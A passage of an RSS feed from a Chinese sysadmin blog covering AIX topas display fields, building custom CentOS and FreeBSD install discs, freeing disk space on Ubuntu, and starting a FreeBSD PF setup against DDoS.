/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
topas 显示的变量部分可有一、二、三、四或五个分部。如果有多个分部显示，则总是按照下列顺序显示：</p>
<p>CPU<br />
网络接口<br />
物理磁盘<br />
工作量管理类<br />
进程<br />
当 topas 命令启动时，会显示热门实体被监视的所有分部。一个例外就是工作量管理（WLM）类分部，仅当 WLM 活动时才显示该分部。</p>
<p>CPU 使用情况 这个分部显示一个条形图表来表示累积的 CPU 使用情况。如果有多个 CPU，按 c 键两次就可显示 CPU 列表。仅按 c 键一次会关闭这个分部。下列字段通过两种格式显示：</p>
<p>User%<br />
这显示以用户方式执行的程序所使用的 CPU 的百分数。（缺省按用户% 排序）<br />
Kern%<br />
这显示以内核方式执行的程序所使用的 CPU 的百分数。<br />
Wait%<br />
这显示用于等待 IO 的时间的百分数。<br />
Idle%<br />
这表示 CPU 空闲时间的百分数。<br />
当这个分部首先显示热门 CPU 列表时，就按 User% 字段来对列表排序。但是，可以按其它字段来对列表排序，只要把光标移到想要的那一栏顶部就可以了。</p>
<p>网络接口 此分部显示了热门网络接口的列表。所显示接口的最大数目是正被监视的热门接口数目，正如 -n 标志指定的那样。如果其它分部也被显示，则将显示接口的一个较小数目。按 n 键可关闭此分部。再按一次 n 键就会显示一行所有网络接口活动的报告摘要。两个报告都显示下列字段：</p>
<p>Interf<br />
网络接口的名称。<br />
KBPS<br />
在监视时间间隔内每秒钟以 MB 为单位的总吞吐量。这个字段是每秒接收到的千字节和发送的千字节的总和。<br />
I-Pack<br />
在监视时间间隔内每秒钟接收到的数据包的数目。<br />
O-Pack<br />
在监视时间间隔内每秒钟发送的数据包的数目。<br />
KB-In<br />
在监视时间间隔内每秒钟接收到的千字节的数目。<br />
KB-Out<br />
在监视时间间隔内每秒钟发送的千字节的数目。<br />
当此分部首先显示热门网络接口列表时，按 KBPS 字段对列表排序。但是，可以按其它字段对列表排序，只要把光标移到想要的那一栏顶部就可以了。排序仅对最多 16 个网络适配器有效。</p>
<p>物理磁盘 此分部显示了热门物理磁盘的列表。所显示物理磁盘的最大数目是正被监视的热门物理磁盘数目，正如 -d 标志指定的那样。如果其它分部也被显示，则将显示物理磁盘的一个较小数目。按 d 键可关闭这个分部。再按一次 d 键就会显示一行所有物理磁盘活动的报告摘要。两个报告都显示下列字段：<br />
Disk<br />
物理磁盘的名称。<br />
Busy%<br />
表示物理磁盘活动时间的百分比（驱动器带宽使用）。<br />
KBPS<br />
在监视时间间隔内每秒钟读和写的千字节的数目。此字段是 KB-Read 和 KB-Writ 的总和。<br />
TPS<br />
每秒钟发送到物理磁盘的传输的数目。传输是对物理磁盘的 I/O 请求。多个逻辑请求可组合成对磁盘的单个 I/O 请求。传输大小不确定。<br />
KB-Read<br />
每秒钟从物理磁盘读取的千字节的数目。<br />
KB-Writ<br />
每秒钟写到物理磁盘的千字节的数目。<br />
当此分部首先显示热门物理磁盘列表时，按 KBPS 字段对列表排序。但是，可以按其它字段对列表排序，只要把光标移到想要的那一栏顶部就可以了。排序仅对最多 128 个物理磁盘有效。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
WLM 类 此分部显示了热门工作量管理（WLM）类的列表。所显示 WLM 类的最大数目是正被监视的热门 WLM 类数目，正如 -w 标志指定的那样。如果其它分部也被显示，则将显示 WLM 类的一个较小数目。按 w 键可关闭此分部。对于每一个类会显示下列字段：</p>
<p>% CPU 使用情况<br />
在监视时间间隔内 WLM 类的平均 CPU 使用情况。<br />
% Mem 使用情况<br />
在监视时间间隔内 WLM 类的平均内存使用情况。<br />
% Blk I/O<br />
在监视时间间隔内 WLM 类的块 I/O 的平均百分比。<br />
当这个分部首先显示热门 WLM 类列表时，就按 CPU% 字段来对列表排序。但是，可以按其它字段来对列表排序，只要把光标移到想要的那一栏顶部就可以了。</p>
<p>进程 此分部显示了热门进程的列表。所显示进程的最大数目是正被监视的热门过程数目，正如 -p 标志指定的那样。如果其它分部也被显示，则将显示进程的一个较小数目。按 p 键可关闭此分部。按监视时间间隔内进程的 CPU 使用情况来对进程排序。对于每一进程会显示下列字段：<br />
名称<br />
在进程中执行的可执行程序的名称。名称已被除去任何路径名和参数信息并被截断到 9 个字符的长度。<br />
进程标识<br />
进程的进程标识。<br />
% CPU 使用情况<br />
在监视时间间隔内进程的平均 CPU 使用情况。第一次显示进程时，这个值表示整个进程阶段平均 CPU 使用情况。<br />
已用调页空间<br />
分配给此进程的调页空间的大小。这可被认为是进程覆盖区的一种表达式，但并不包括用来保持可执行程序和它依赖的任何共享库的内存。<br />
进程所有者（如果 WLM 部分被关闭）<br />
拥有此进程的用户的用户名。<br />
工作量管理（WLM）类（如果 WLM 部分被打开）<br />
进程所属的 WLM 类。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1091.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>基于centos4.3的linux发行版制作过程</title>
		<link>http://www.evanjiang.net.cn/archives/1089.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1089.html#comments</comments>
		<pubDate>Fri, 22 May 2009 10:33:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1089</guid>
		<description><![CDATA[<p>以前研究的东西，最近看到网上有很多人为了制作自己的发行版，苦苦挣扎而不得其道，所以把自己的笔记拿出来与大家一起分享！</p>
<p>注：其中路径/data/disk是我的制作光盘路径，各位可以根据自己的环境进行修改。</p>
<p>=======================================================</p>
<p>基本过程:</p>
<p>定制RPM包
修改 comps.xml
重编comps.rpm
重新生成hdlist
建立pkglist
利用buildinstall处理安装程序
利用mkisofs制作安装映象</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
母系统是centos4.3，为了软件最新，先升级自己的系统相关软件
rpm &#8211;import http://mirror.be10.com/centos/4.3/os/i386/RPM-GPG-KEY-centos4
rpm &#8211;import /usr/share/doc/centos-release-4/RPM-GPG-KEY >> /dev/null
yum -y update</p>
<p>以下为制作安装光盘必须的包
yum install pump-devel gtk2-devel booty bogl-devel bogl-bterm elfutils-devel beecrypt-devel dietlibc
yum install anaconda anaconda-runtime busybox-anaconda</p>
<p>=============================================================================
Package                 Arch       Version         [...]]]></description>
			<content:encoded><![CDATA[<p>以前研究的东西，最近看到网上有很多人为了制作自己的发行版，苦苦挣扎而不得其道，所以把自己的笔记拿出来与大家一起分享！</p>
<p>注：其中路径/data/disk是我的制作光盘路径，各位可以根据自己的环境进行修改。</p>
<p>=======================================================</p>
<p>基本过程:</p>
<p>定制RPM包<br />
修改 comps.xml<br />
重编comps.rpm<br />
重新生成hdlist<br />
建立pkglist<br />
利用buildinstall处理安装程序<br />
利用mkisofs制作安装映象</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
母系统是centos4.3，为了软件最新，先升级自己的系统相关软件<br />
rpm &#8211;import http://mirror.be10.com/centos/4.3/os/i386/RPM-GPG-KEY-centos4<br />
rpm &#8211;import /usr/share/doc/centos-release-4/RPM-GPG-KEY >> /dev/null<br />
yum -y update</p>
<p>以下为制作安装光盘必须的包<br />
yum install pump-devel gtk2-devel booty bogl-devel bogl-bterm elfutils-devel beecrypt-devel dietlibc<br />
yum install anaconda anaconda-runtime busybox-anaconda</p>
<p>=============================================================================<br />
Package                 Arch       Version          Repository        Size<br />
=============================================================================<br />
Installing:<br />
anaconda                i386       10.1.1.37-1.centos4.2  base              4.3 M<br />
anaconda-runtime        i386       10.1.1.37-1.centos4.2  base              526 k<br />
busybox-anaconda        i386       1.00.rc1-5       base              177 k<br />
Installing for dependencies:<br />
anaconda-help           noarch     10.1.0-1.centos4  base              800 k<br />
bogl                    i386       0.1.18-4         base               93 k<br />
booty                   i386       0.44.3-1         base               85 k<br />
pyparted                i386       1.6.8-2          base               22 k</p>
<p><span id="more-1089"></span><br />
检查RPM包依赖关系<br />
cd /data/disk/EServer/RPMS<br />
mkdir /tmp/testdb<br />
rpm &#8211;initdb &#8211;dbpath /tmp/testdb<br />
rpm &#8211;test &#8211;dbpath /tmp/testdb -Uvh *.rpm </p>
<p>以下是具体步骤：<br />
1.设置python的系统环境变量<br />
export PYTHONPATH=/usr/lib/anaconda<br />
export PATH=&#8221;$PATH:/usr/lib/anaconda-runtime&#8221;<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
2.更新光盘的文件树<br />
genhdlist &#8211;productpath=EServer /data/disk</p>
<p>3.生成下一步需要的pkgfile文件<br />
pkgorder &#8211;product EServer /data/disk/ EServer > /data/pkgfile</p>
<p>4.编译生成光盘引导文件和图形安装界面镜像<br />
buildinstall &#8211;pkgorder /data/pkgfile \<br />
&#8211;version &#8220;1.2&#8243; \<br />
&#8211;product &#8220;EServer&#8221; \<br />
&#8211;release &#8220;Beta&#8221; \<br />
&#8211;prodpath EServer /data/disk</p>
<p>5.制作 ISO</p>
<p>mkisofs -r -T -J -V &#8220;EServer 1.2&#8243; -b isolinux/isolinux.bin \<br />
-c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \<br />
-boot-info-table -x &#8220;lost+found&#8221; \<br />
-o /data/EServer.iso /data/disk</p>
<p>文件isolinux/boot.cat 会由mkisofs 程序随后产生<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>为光盘生成md5验证值<br />
implantisomd5 /data/EServer.iso<br />
Inserting md5sum into iso image&#8230;<br />
md5 = b49c693f83c23d7e746dfe0f81a56016<br />
Setting supported flag to 0</p>
<p>如果想将图形界面修改成个性化的界面，需要修改stage2.img（光盘引导镜像，如果硬盘安装，需要修改其他img文件……）</p>
<p>附注:<br />
anaconda资源修改：</p>
<p>mkdir /data/anaconda<br />
mount -o loop /data/disk/EServer/base/stage2.img /data/anaconda<br />
cd /data/anaconda<br />
tar -cvf /data/stage2.tar .<br />
mkdir /data/stage2<br />
cd /data/stage2<br />
tar -xvf /data/stage2.tar<br />
chmod +w -R ../stage2<br />
#&#8212;&#8212;&#8212;&#8211;修改资源&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;#<br />
&#8230;..<br />
&#8230;.<br />
#重新打包img镜像<br />
cd /data<br />
mkcramfs stage2/ stage2.img.new<br />
cp /data/stage2.img.new /data/disk/EServer/base/stage2.img</p>
<p>光盘启动画面修改：</p>
<p>yum -y install syslinux</p>
<p>The graphic is in a somewhat odd format, called LSS16. As the name indicates, it is limited to 16 colors. To edit the graphic, first convert it to a PPM:</p>
<p>lss16toppm < splash.lss > splash.ppm</p>
<p>Next, edit the file using The Gimp. Save the resulting file as an indexed gif with no more than 14 colors (plus black and white, for a total of 16). Then, convert the file to a pnm/ppm:</p>
<p>giftopnm < splash.gif | ppmtolss16 > splash.lss<br />
cp splash.lss /data/disk/isolinux/splash.lss</p>
<p>yum install gcc xorg-x11-devel<br />
编译gif2lss-0.4.tar.gz</p>
<p>保证光盘里面rpm目录下有以下包，这些包是图形化界面制作所必须的，没有他们，buildinstall将会报错。</p>
<p>anaconda<br />
anaconda-runtime<br />
anaconda-help<br />
anaconda-product<br />
busybox<br />
busybox-anaconda<br />
memtest86+<br />
fonts-xorg-base<br />
xorg-x11<br />
joe<br />
kernel*<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
附注：<br />
rpm -qpi #显示rpm包的信息<br />
rpm -Uvh #安装rpm包<br />
rpm -qpl #列rpm包内的文件 </p>
<p>上面这些步骤，是经过实践之后的笔记，所以一般都能够成功，还有一些细节部分，如comps.xml的修改，语法，就不多介绍。</p>
<p>如果发现有什么问题，欢迎跟帖。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1089.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何制作freebsd7的DVD安装盘</title>
		<link>http://www.evanjiang.net.cn/archives/1087.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1087.html#comments</comments>
		<pubDate>Fri, 22 May 2009 10:31:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1087</guid>
		<description><![CDATA[<p>发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下： </p>
<p>在VMware下安装FreeBSD，标准化最小安装，安装包：
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:
su
cd /work/fbd7
mdconfig -a -f 7.0-RELEASE-i386-docs.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf &#8211; . &#124; tar -xf &#8211;
umount /mnt
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk3.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf &#8211; . &#124; tar -xf &#8211;
umount /mnt
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk2.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt [...]]]></description>
			<content:encoded><![CDATA[<p>发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下： </p>
<p>在VMware下安装FreeBSD，标准化最小安装，安装包：<br />
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。<br />
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:<br />
su<br />
cd /work/fbd7<br />
mdconfig -a -f 7.0-RELEASE-i386-docs.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk3.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk2.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0 </p>
<p>mdconfig -a -f 7.0-RELEASE-i386-disk1.iso<br />
mount -t cd9660 /dev/md0 /mnt<br />
tar -C /mnt -cf &#8211; . | tar -xf &#8211;<br />
umount /mnt<br />
mdconfig -d -u 0<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
检查/work/fbd7/cdrom.inf<br />
如按以上顺序，cdrom.inf中应为：<br />
CD_VERSION = 7.0-RELEASE<br />
CD_VOLUME = 1<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<span id="more-1087"></span><br />
cd packages<br />
cat INDEX | sed &#8220;s/|3/|1/g&#8221; > ix<br />
cat ix | sed &#8220;s/|2/|1/g&#8221; > ixx<br />
mv ixx INDEX<br />
rm ix<br />
cd ..<br />
rm -r /work/fbd7/rr_moved（这是docs光盘的目录，这里不需要，生成ISO时会自动生成）<br />
将原来的几个iso移到其它目录<br />
mkdir /work/iso<br />
mv /work/fbd7/*.iso /work/iso<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
生成DVD ISO文件：<br />
mkisofs -R -no-emul-boot -b boot/cdboot -iso-level 3 -o /work/FreeBSD7_DVD.iso /work/fbd7<br />
或 直接刻录成DVD：<br />
growisofs –Z /dev/cd0 –speed 16 –no-amul-boot –b boot/cdboot –iso-level 3 /work/fbd7<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
OK，完成。检查制作出的DVD，经测试：链接正常，sysinstall可认，其它各种应用正常。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1087.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu空间不够用,为Ubuntu减肥,腾点空间出来</title>
		<link>http://www.evanjiang.net.cn/archives/1061.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1061.html#comments</comments>
		<pubDate>Fri, 22 May 2009 03:53:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1061</guid>
		<description><![CDATA[<p>这段时间,使用ubuntu9.04 时,总听到硬盘在晌.在终端下运行 df -k 发觉/分区的空间使用率已经到98%,是要想办法给ubuntu减减肥.腾点空间出来啦..于是,就在网上,找到下面这篇文章,照着用一下,效果蛮好的&#8230;于是就将这篇文章记下来..</p>
<p>linux和windows系统不同，linux不会产生无用垃圾文件，但是在升级缓存中，linux不会自动删除这些文件，今天就来说说这些垃圾文件清理方法。</p>
<p>1，非常有用的清理命令：
sudo apt-get autoclean
sudo apt-get clean
sudo apt-get autoremove</p>
<p>这三个命令主要清理升级缓存以及无用包的。</p>
<p>2，清理opera firefox的缓存文件：
ls ~/.opera/cache4
ls ~/.mozilla/firefox/*.default/Cache </p>
<p>3，清理Linux下孤立的包：
图形界面下我们可以用：gtkorphan
sudo apt-get install gtkorphan -y</p>
<p>终端命令下我们可以用：deborphan
sudo apt-get install deborphan -y</p>
<p>4，卸载：tracker
这个东西一般我只要安装ubuntu就会第一删掉tracker 他不仅会产生大量的cache文件而且还会影响开机速度。所以在新得利里面删掉就行。</p>
<p>5，删除多余的内核：一定不要删错哦，切记！！
打开终端敲命令：dpkg &#8211;get-selections&#124;grep linux
有image的就是内核文件
删除老的内核文件：
sudo apt-get remove 内核文件名 （例如：linux-image-2.6.27-2-generic）
内核删除，释放空间了，应该能释放130－140M空间。
最后不要忘了看看当前内核：uname -a

附录：
包管理的临时文件目录:
包在
/var/cache/apt/archives
没有下载完的在
/var/cache/apt/archives/partial








＝＝＝＝＝＝＝＝＝＝＝进阶＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
1. 用新利得删除残留的配置文件
经常安装和卸载软件用户都知道只用 apt-get remove 是不能把软件彻底清除的,所以养成良好的习惯很重要,我一般都是认为那些以后不会再安装的软件都用 aptitude purge/apt-get remove &#8212; purge 来卸载,这样就会把配置文档也一起删除,如果不知道以前卸载的那些配置文档删除有没有怎么办!?
没关系&#8221;凡存在过的必留下痕迹&#8221;(keso语^_^),我们来一步一步删除那些残留文档:
打开新利得(系统-系统管理-新利得),在左下角选择状态,现在在上面的列表里就会看到如下的分类:
已安装
已安装(本地的或陈旧的)
未安装
未安装的(残存配置)
软件仓库里的新内容
现在选择未安装的(残存配置)如果没有这个选择那就证明你的系统并没有残存配置文件.
现在把右面列表里不想保留的配置文件删除就可以.</p>
<p>2. 删除系统无用的软件包
当你需要安装某个软件包时,APT从/etc/apt/sources.list中所列的主机下载所 需的文件,将它们保存到本机软件库(/var/cache/apt/archives/)， 然后开始安装.
本地软件库会不断膨胀占用大量硬盘空间,幸运的是,APT提供了工具来管理本地 软件库:apt-get的clean方法和autoclean方法.
apt-get clean将删除/var/cache/apt/archives目录 和/var/cache/apt/archives/partial目录下锁文件以外的所有文件. 这样以来,当你需要再次安装某个软件包时,APT将重新下载它.
apt-get autoclean仅删除那些不需要再次下载的文件.</p>
<p>3. 卸载那些不被使用的local翻译文档
这次我们要用到一个工具啦:localepurge 看名字就能明白他是干什么的啦.
安装localepurge: sudo apt-get install localepurge
安装好以后,当我们每次使用apt安装软件的时候localepurge就会根据你locale的设置来删除那些不需要的locale文档,比如:当我aapt安装armarok以后就会在安装完成之后看到像:
localepurge: [...]]]></description>
			<content:encoded><![CDATA[<p>这段时间,使用ubuntu9.04 时,总听到硬盘在晌.在终端下运行 df -k 发觉/分区的空间使用率已经到98%,是要想办法给ubuntu减减肥.腾点空间出来啦..于是,就在网上,找到下面这篇文章,照着用一下,效果蛮好的&#8230;于是就将这篇文章记下来..</p>
<p>linux和windows系统不同，linux不会产生无用垃圾文件，但是在升级缓存中，linux不会自动删除这些文件，今天就来说说这些垃圾文件清理方法。</p>
<p>1，非常有用的清理命令：<br />
sudo apt-get autoclean<br />
sudo apt-get clean<br />
sudo apt-get autoremove</p>
<p>这三个命令主要清理升级缓存以及无用包的。</p>
<p>2，清理opera firefox的缓存文件：<br />
ls ~/.opera/cache4<br />
ls ~/.mozilla/firefox/*.default/Cache </p>
<p>3，清理Linux下孤立的包：<br />
图形界面下我们可以用：gtkorphan<br />
sudo apt-get install gtkorphan -y</p>
<p>终端命令下我们可以用：deborphan<br />
sudo apt-get install deborphan -y</p>
<p>4，卸载：tracker<br />
这个东西一般我只要安装ubuntu就会第一删掉tracker 他不仅会产生大量的cache文件而且还会影响开机速度。所以在新得利里面删掉就行。</p>
<p>5，删除多余的内核：一定不要删错哦，切记！！<br />
打开终端敲命令：dpkg &#8211;get-selections|grep linux<br />
有image的就是内核文件<br />
删除老的内核文件：<br />
sudo apt-get remove 内核文件名 （例如：linux-image-2.6.27-2-generic）<br />
内核删除，释放空间了，应该能释放130－140M空间。<br />
最后不要忘了看看当前内核：uname -a<br />
<span id="more-1061"></span><br />
附录：<br />
包管理的临时文件目录:<br />
包在<br />
/var/cache/apt/archives<br />
没有下载完的在<br />
/var/cache/apt/archives/partial<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
＝＝＝＝＝＝＝＝＝＝＝进阶＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 用新利得删除残留的配置文件<br />
经常安装和卸载软件用户都知道只用 apt-get remove 是不能把软件彻底清除的,所以养成良好的习惯很重要,我一般都是认为那些以后不会再安装的软件都用 aptitude purge/apt-get remove &#8212; purge 来卸载,这样就会把配置文档也一起删除,如果不知道以前卸载的那些配置文档删除有没有怎么办!?<br />
没关系&#8221;凡存在过的必留下痕迹&#8221;(keso语^_^),我们来一步一步删除那些残留文档:<br />
打开新利得(系统-系统管理-新利得),在左下角选择状态,现在在上面的列表里就会看到如下的分类:<br />
已安装<br />
已安装(本地的或陈旧的)<br />
未安装<br />
未安装的(残存配置)<br />
软件仓库里的新内容<br />
现在选择未安装的(残存配置)如果没有这个选择那就证明你的系统并没有残存配置文件.<br />
现在把右面列表里不想保留的配置文件删除就可以.</p>
<p>2. 删除系统无用的软件包<br />
当你需要安装某个软件包时,APT从/etc/apt/sources.list中所列的主机下载所 需的文件,将它们保存到本机软件库(/var/cache/apt/archives/)， 然后开始安装.<br />
本地软件库会不断膨胀占用大量硬盘空间,幸运的是,APT提供了工具来管理本地 软件库:apt-get的clean方法和autoclean方法.<br />
apt-get clean将删除/var/cache/apt/archives目录 和/var/cache/apt/archives/partial目录下锁文件以外的所有文件. 这样以来,当你需要再次安装某个软件包时,APT将重新下载它.<br />
apt-get autoclean仅删除那些不需要再次下载的文件.</p>
<p>3. 卸载那些不被使用的local翻译文档<br />
这次我们要用到一个工具啦:localepurge 看名字就能明白他是干什么的啦.<br />
安装localepurge: sudo apt-get install localepurge<br />
安装好以后,当我们每次使用apt安装软件的时候localepurge就会根据你locale的设置来删除那些不需要的locale文档,比如:当我aapt安装armarok以后就会在安装完成之后看到像:<br />
localepurge: Disk space freed in /usr/share/locale: 70***K (7M左右的文档,具体的数据忘)<br />
当然你也可以通过编辑/etc/locale.nopurge 来编辑需要保留的locale文档..</p>
<p>4. 使用一些工具删除&#8221;孤儿软件包&#8221;<br />
孤儿软件包是指那些已经没有人维护的软件包当然也就没有软件要依赖它,这儿我们可以用GtkOrphan(要自己下载Deb包安装)或者Wajig(可以apt安装),这两个都是GUI的操作界面,我都没有使用过就不多说了,如果想了解更多的信息可以参考这儿 .<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
5. 使用debfoster来跟踪安装的软件包<br />
安装:sudo apt-get install debfoster<br />
当我们使用apt安装软件的时候,它会把那个软件所依赖的软件包都安装上去，但是当我们卸载这个软件包的时候，那些为满足这个软件包的依赖关系而装上去的包并没有从系统里卸载掉.这个时候我们就会用到debfoster啦.<br />
debfoster是apt-get和dpkg的前端,当第一次运行debfoster的时候它会问你那些软件包是要保留的,如果不需要就选n就行.<br />
使用debfoster我们可以方便的安装和卸载软件,比如可以使用debfoster package 来安装某个软件,当我们不需要的时候可以用 debfoster package- 来删除它,同时那些没有用的包也会一起删掉.</p>
<p>6. 使用trans-purge 来为Linux桌面瘦身加速</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1061.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FREEBSD+PF 在6.2上的架设放DDOS 攻击的网站</title>
		<link>http://www.evanjiang.net.cn/archives/1058.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1058.html#comments</comments>
		<pubDate>Wed, 20 May 2009 06:13:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[pf]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1058</guid>
		<description><![CDATA[<p>现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个， </p>
<p>cd /usr/src/sys/i386/conf
cp GERENIC PFOK
ee FFOK </p>
<p>修改并加入下面东东 </p>
<p>ident PFOK
device pf
device pflog
device pfsync
options ALTQ
options ALTQ_CBQ
options ALTQ_RED
options ALTQ_RIO
options ALTQ_HFSC
options ALTQ_PRIQ
options ALTQ_NOPCC
options PANIC_REBOOT_WAIT_TIME=0
options DEVICE_POLLING
options HZ=2000
options IPSTEALTH
# options RANDOM_IP_ID
options TCP_DROP_SYNFIN </p>
<p>config PFOK
cd /usr/src/sys/i386/compile/PFOK
make depend
make
make install
reboot </p>
<p>ee /etc/sysctl.conf
net.inet.ip.forwarding=1
net.inet.ip.fastforwarding=1
net.inet.tcp.drop_synfin=1
net.inet.tcp.sendspace=65536
net.inet.tcp.recvspace=65536
#net.inet.udp.sendspace=65535
net.inet.udp.maxdgram=65535
net.local.stream.sendspace=65535
net.inet.tcp.rfc1323=1
#net.inet.tcp.rfc1644=1
net.inet.tcp.rfc3042=1
net.inet.tcp.rfc3390=1
kern.ipc.maxsockbuf=2097152
kern.maxfiles=65536
kern.maxfilesperproc=32768
kern.polling.enable=1
kern.polling.burst_max=500
kern.ipc.somaxconn=2048
kern.ipc.nmbclusters=32768
net.inet.tcp.delayed_ack=0
net.inet.icmp.icmplim=100
net.inet.icmp.icmplim_output=0
net.inet.tcp.drop_synfin=1

ee /boot/loader.conf
autobootdelay=&#8221;2&#8243; </p>
<p>ee /etc/rc.conf
sendmail_enable=&#8221;NONE&#8221;
sendmail_submit_enable=&#8221;NO&#8221;
